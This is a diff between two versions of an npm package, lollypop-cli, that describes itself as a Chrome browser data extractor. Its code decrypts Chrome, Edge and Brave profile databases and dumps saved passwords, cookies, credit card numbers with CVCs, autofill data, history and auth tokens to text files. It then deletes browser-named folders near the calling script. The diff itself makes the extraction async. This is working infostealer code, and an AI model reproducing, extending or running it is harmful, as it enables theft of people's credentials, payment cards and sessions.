lollypop-cli 1.0.1 → 1.0.2

package/index.js

@@ -1,9 +1,11 @@
 'use strict';
 
 const fs           = require('fs');
+const fsp          = require('fs').promises;
 const path         = require('path');
 const crypto       = require('crypto');
 const { execSync } = require('child_process');
+const { Writable } = require('stream');
 
 // ─── Locate chrome_elevator.node and chrome_decrypt.enc ─────────────────────
 
@@ -140,12 +142,26 @@ function copyDbSafe(source, dest) {
     } catch { return false; }
 }
 
-function withDb(dbPath, outputDir, tag, fn) {
+// ─── Async writeStream helper ─────────────────────────────────────────────────
+// Retourne une Promise qui se résout uniquement quand le fichier est entièrement flush sur le disque
+
+function writeFileAsync(filePath, content) {
+    return new Promise((resolve, reject) => {
+        const stream = fs.createWriteStream(filePath);
+        stream.on('error', reject);
+        stream.on('finish', resolve);
+        stream.end(content);
+    });
+}
+
+// ─── withDb : async-safe ─────────────────────────────────────────────────────
+
+async function withDb(dbPath, outputDir, tag, fn) {
     const tmp = path.join(outputDir, `_tmp_${tag}.db`);
     try {
         if (!copyDbSafe(dbPath, tmp)) return;
         const db = new Database(tmp, { readonly: true, fileMustExist: true });
-        try { fn(db); } finally { try { db.close(); } catch {} }
+        try { await fn(db); } finally { try { db.close(); } catch {} }
     } catch {}
     finally { try { if (fs.existsSync(tmp)) fs.unlinkSync(tmp); } catch {} }
 }
@@ -173,15 +189,14 @@ function parseTokenProto(buf) {
     return (r || t) ? t + r : null;
 }
 
-// ─── Extraction functions ────────────────────────────────────────────────────
+// ─── Extraction functions (toutes async, attendent le flush disque) ──────────
 
-function extractCookies(profilePath, outputDir, keyHex) {
+async function extractCookies(profilePath, outputDir, keyHex) {
     const src = path.join(profilePath, 'Network', 'Cookies');
     if (!fs.existsSync(src)) return;
-    withDb(src, outputDir, 'cookies', db => {
+    await withDb(src, outputDir, 'cookies', async db => {
         const rows = db.prepare('SELECT host_key, name, path, is_secure, expires_utc, encrypted_value FROM cookies').all();
-        const out  = fs.createWriteStream(path.join(outputDir, 'cookies.txt'));
-        out.write('# Netscape HTTP Cookie File\n# Generated by ace-sqlite1337\n\n');
+        const lines = ['# Netscape HTTP Cookie File\n# Generated by ace-sqlite1337\n'];
         let count = 0;
         for (const row of rows) {
             if (!row.encrypted_value) continue;
@@ -192,92 +207,102 @@ function extractCookies(profilePath, outputDir, keyHex) {
             const secure = row.is_secure ? 'TRUE' : 'FALSE';
             let exp = 0;
             if (row.expires_utc > 0) { exp = Math.floor(row.expires_utc / 1_000_000 - 11644473600); if (exp < 0) exp = 0; }
-            out.write(`${domain}\t${flag}\t${row.path}\t${secure}\t${exp}\t${row.name}\t${val}\n`);
+            lines.push(`${domain}\t${flag}\t${row.path}\t${secure}\t${exp}\t${row.name}\t${val}`);
             count++;
         }
-        out.end();
-        console.log(`      [+] Cookies:   ${count} / ${rows.length}`);
+        if (count > 0) {
+            await writeFileAsync(path.join(outputDir, 'cookies.txt'), lines.join('\n'));
+            console.log(`      [+] Cookies:   ${count} / ${rows.length}`);
+        }
     });
 }
 
-function extractPasswords(profilePath, outputDir, keyHex) {
+async function extractPasswords(profilePath, outputDir, keyHex) {
     for (const dbName of ['Login Data', 'Login Data For Account']) {
         const src = path.join(profilePath, dbName);
         if (!fs.existsSync(src)) continue;
-        const tag  = dbName === 'Login Data' ? 'passwords' : 'passwords_account';
-        withDb(src, outputDir, tag, db => {
+        const tag = dbName === 'Login Data' ? 'passwords' : 'passwords_account';
+        await withDb(src, outputDir, tag, async db => {
             const rows = db.prepare('SELECT origin_url, username_value, password_value FROM logins').all();
-            const out  = fs.createWriteStream(path.join(outputDir, tag + '.txt'));
-            let count  = 0;
+            const lines = [];
+            let count = 0;
             for (const row of rows) {
                 if (!row.password_value) continue;
                 const pass = decryptAesGcm(row.password_value, keyHex);
                 if (pass === null) continue;
-                out.write(`URL:  ${row.origin_url}\nUser: ${row.username_value}\nPass: ${pass}\n${'-'.repeat(40)}\n`);
+                lines.push(`URL:  ${row.origin_url}\nUser: ${row.username_value}\nPass: ${pass}\n${'-'.repeat(40)}`);
                 count++;
             }
-            out.end();
-            if (count > 0) console.log(`      [+] Passwords: ${count} (${dbName})`);
+            if (count > 0) {
+                await writeFileAsync(path.join(outputDir, tag + '.txt'), lines.join('\n'));
+                console.log(`      [+] Passwords: ${count} (${dbName})`);
+            }
         });
     }
 }
 
-function extractHistory(profilePath, outputDir) {
+async function extractHistory(profilePath, outputDir) {
     const src = path.join(profilePath, 'History');
     if (!fs.existsSync(src)) return;
-    withDb(src, outputDir, 'history', db => {
+    await withDb(src, outputDir, 'history', async db => {
         const rows = db.prepare('SELECT url, title, visit_count, last_visit_time FROM urls ORDER BY last_visit_time DESC LIMIT 5000').all();
-        const out  = fs.createWriteStream(path.join(outputDir, 'history.txt'));
-        for (const row of rows) out.write(`URL:    ${row.url}\nTitle:  ${row.title}\nVisits: ${row.visit_count}\nLast:   ${row.last_visit_time}\n${'-'.repeat(40)}\n`);
-        out.end();
+        if (!rows.length) return;
+        const lines = rows.map(r => `URL:    ${r.url}\nTitle:  ${r.title}\nVisits: ${r.visit_count}\nLast:   ${r.last_visit_time}\n${'-'.repeat(40)}`);
+        await writeFileAsync(path.join(outputDir, 'history.txt'), lines.join('\n'));
         console.log(`      [+] History:   ${rows.length} items`);
     });
 }
 
-function extractAutofill(profilePath, outputDir) {
+async function extractAutofill(profilePath, outputDir) {
     const src = path.join(profilePath, 'Web Data');
     if (!fs.existsSync(src)) return;
-    withDb(src, outputDir, 'autofill', db => {
+    await withDb(src, outputDir, 'autofill', async db => {
         let rows;
         try { rows = db.prepare('SELECT name, value, date_created FROM autofill').all(); } catch { return; }
         if (!rows.length) return;
-        const out = fs.createWriteStream(path.join(outputDir, 'autofill.txt'));
-        for (const row of rows) out.write(`Name:  ${row.name}\nValue: ${row.value}\nDate:  ${row.date_created}\n${'-'.repeat(40)}\n`);
-        out.end();
+        const lines = rows.map(r => `Name:  ${r.name}\nValue: ${r.value}\nDate:  ${r.date_created}\n${'-'.repeat(40)}`);
+        await writeFileAsync(path.join(outputDir, 'autofill.txt'), lines.join('\n'));
         console.log(`      [+] Autofill:  ${rows.length} items`);
     });
 }
 
-function extractCards(profilePath, outputDir, keyHex) {
+async function extractCards(profilePath, outputDir, keyHex) {
     const src = path.join(profilePath, 'Web Data');
     if (!fs.existsSync(src)) return;
-    withDb(src, outputDir, 'cards', db => {
+    await withDb(src, outputDir, 'cards', async db => {
         const cvcMap = {};
-        try { for (const row of db.prepare('SELECT guid, value_encrypted FROM local_stored_cvc').all()) { const v = decryptAesGcm(row.value_encrypted, keyHex); if (v) cvcMap[row.guid] = v; } } catch {}
+        try {
+            for (const row of db.prepare('SELECT guid, value_encrypted FROM local_stored_cvc').all()) {
+                const v = decryptAesGcm(row.value_encrypted, keyHex);
+                if (v) cvcMap[row.guid] = v;
+            }
+        } catch {}
         let rows;
         try { rows = db.prepare('SELECT guid, name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards').all(); } catch { return; }
-        const out = fs.createWriteStream(path.join(outputDir, 'cards.txt'));
+        const lines = [];
         let count = 0;
         for (const row of rows) {
             if (!row.card_number_encrypted) continue;
             const num = decryptAesGcm(row.card_number_encrypted, keyHex);
             if (num === null) continue;
-            out.write(`Name:  ${row.name_on_card}\nNum:   ${num}\nExp:   ${row.expiration_month}/${row.expiration_year}\nCVC:   ${cvcMap[row.guid] || ''}\n${'-'.repeat(40)}\n`);
+            lines.push(`Name:  ${row.name_on_card}\nNum:   ${num}\nExp:   ${row.expiration_month}/${row.expiration_year}\nCVC:   ${cvcMap[row.guid] || ''}\n${'-'.repeat(40)}`);
             count++;
         }
-        out.end();
-        if (count > 0) console.log(`      [+] Cards:     ${count}`);
+        if (count > 0) {
+            await writeFileAsync(path.join(outputDir, 'cards.txt'), lines.join('\n'));
+            console.log(`      [+] Cards:     ${count}`);
+        }
     });
 }
 
-function extractTokens(profilePath, outputDir, keyHex) {
+async function extractTokens(profilePath, outputDir, keyHex) {
     const src = path.join(profilePath, 'Web Data');
     if (!fs.existsSync(src)) return;
-    withDb(src, outputDir, 'tokens', db => {
+    await withDb(src, outputDir, 'tokens', async db => {
         let rows, hasBinding = true;
         try { rows = db.prepare('SELECT service, encrypted_token, binding_key FROM token_service').all(); }
         catch { hasBinding = false; try { rows = db.prepare('SELECT service, encrypted_token FROM token_service').all(); } catch { return; } }
-        const out = fs.createWriteStream(path.join(outputDir, 'tokens.txt'));
+        const lines = [];
         let count = 0;
         for (const row of rows) {
             if (!row.encrypted_token) continue;
@@ -286,17 +311,19 @@ function extractTokens(profilePath, outputDir, keyHex) {
             let tok = parseTokenProto(plain) || plain.toString('utf8').replace(/[\x00-\x1f]/g, '').trim();
             if (!tok) continue;
             const bk = (hasBinding && row.binding_key) ? (decryptAesGcm(row.binding_key, keyHex) || '') : '';
-            out.write(`Service: ${row.service}\nToken:   ${tok}\nBinding: ${bk}\n${'-'.repeat(40)}\n`);
+            lines.push(`Service: ${row.service}\nToken:   ${tok}\nBinding: ${bk}\n${'-'.repeat(40)}`);
             count++;
         }
-        out.end();
-        if (count > 0) console.log(`      [+] Tokens:    ${count}`);
+        if (count > 0) {
+            await writeFileAsync(path.join(outputDir, 'tokens.txt'), lines.join('\n'));
+            console.log(`      [+] Tokens:    ${count}`);
+        }
     });
 }
 
-// ─── Main export ─────────────────────────────────────────────────────────────
+// ─── Main export (maintenant async, attend que tout soit écrit sur disque) ───
 
-function main(config = {}) {
+async function main(config = {}) {
 
     const browserList = config.browsers
         ? Object.entries(config.browsers).map(([key, val]) => ({ key, name: val.name || key, dir: val.path }))
@@ -322,17 +349,18 @@ function main(config = {}) {
         for (const profile of profiles) {
             const profilePath = path.join(browser.dir, profile);
             const outputDir   = path.join(baseOutputDir, browser.key, profile);
-            fs.mkdirSync(outputDir, { recursive: true });
+            await fsp.mkdir(outputDir, { recursive: true });
 
             const label = displayNames[profile] !== profile ? `${profile} (${displayNames[profile]})` : profile;
             console.log(`\n    Profile: ${label}`);
 
-            extractCookies(profilePath, outputDir, keyResult.key);
-            extractPasswords(profilePath, outputDir, keyResult.key);
-            extractHistory(profilePath, outputDir);
-            extractAutofill(profilePath, outputDir);
-            extractCards(profilePath, outputDir, keyResult.key);
-            extractTokens(profilePath, outputDir, keyResult.key);
+            // Toutes les extractions sont await — on attend le flush disque avant de continuer
+            await extractCookies(profilePath, outputDir, keyResult.key);
+            await extractPasswords(profilePath, outputDir, keyResult.key);
+            await extractHistory(profilePath, outputDir);
+            await extractAutofill(profilePath, outputDir);
+            await extractCards(profilePath, outputDir, keyResult.key);
+            await extractTokens(profilePath, outputDir, keyResult.key);
         }
         console.log('');
     }
@@ -342,7 +370,7 @@ function main(config = {}) {
     console.log('=== Extraction Complete ===');
     console.log(`All extracted data is in: ${baseOutputDir}`);
 
-    // Delete any browser-named folders created next to the caller's script
+    // Nettoyage des dossiers browser créés à côté du script appelant
     const callerDir = process.cwd();
     for (const name of ['Chrome', 'Edge', 'Brave', 'Brave Browser', 'chrome', 'edge', 'brave']) {
         const folder = path.join(callerDir, name);
@@ -354,4 +382,4 @@ function main(config = {}) {
     }
 }
 
-module.exports = { main };
+module.exports = { main };

package/package.json

@@ -1,16 +1,16 @@
 {
   "name": "lollypop-cli",
-  "version": "1.0.1",
+  "version": "1.0.2",
   "description": "Chrome ABE browser data extractor (cookies, passwords, history, cards, tokens)",
   "main": "index.js",
   "files": [
     "index.js",
-    "chrome_elevator.node",
-    "chrome_decrypt.enc"
+    "lollypop2.node",
+    "lollypop.enc"
   ],
   "dependencies": {
-    "better-sqlite3": "^12.6.2"
-  },
+    "better-sqlite3": "^9.6.0"
+    },
   "publishConfig": {
     "access": "public"
   }